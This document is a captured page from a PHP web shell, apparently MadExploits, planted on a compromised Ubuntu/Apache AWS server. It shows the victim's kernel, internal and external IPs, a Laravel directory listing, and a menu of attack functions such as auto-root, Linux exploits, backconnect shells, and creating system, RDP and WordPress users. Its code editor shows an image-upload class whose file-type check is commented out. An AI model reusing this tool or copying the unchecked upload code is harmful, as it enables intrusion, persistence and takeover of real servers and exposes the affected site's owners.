Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.148.202
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
app /
Http /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
ApiValidator.php
277
B
-rw-rw-r--
ImageManager.php
500
B
-rw-rw-r--
PostImageUploader.php
1.23
KB
-rw-rw-r--
googleda794cd9937527d01.html
37
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PostImageUploader.php
<?php namespace App\Http\Services; use App\Jobs\ProcessImage; use Illuminate\Http\Request; use Illuminate\Http\UploadedFile; class PostImageUploader{ public static function upload(Request $request, $place_slug) { $files = $request->file('image'); $files = $files && !is_array($files) ? [$files] : $files; $images = $toProcess = []; $accepted = ["jpeg", "png", "jpg"]; if($files && count($files)){ $imagePath = "/places/images/"; foreach ($files as $i => $file) { // if(in_array($file->guessExtension(), $accepted)){ $filename = uniqid() . ".jpg"; // store file locally $path = $file->storeAs($imagePath, $filename); $toProcess[$i] = []; $toProcess[$i]['file'] = storage_path('app/public/places/images/' . $filename); $toProcess[$i]['slug'] = $place_slug; $toProcess[$i]['url'] = $imagePath . $filename; $images[] = env('S3_BASE_URL') . $imagePath . $filename; // } } ProcessImage::dispatch($toProcess); } return $images; } }
Close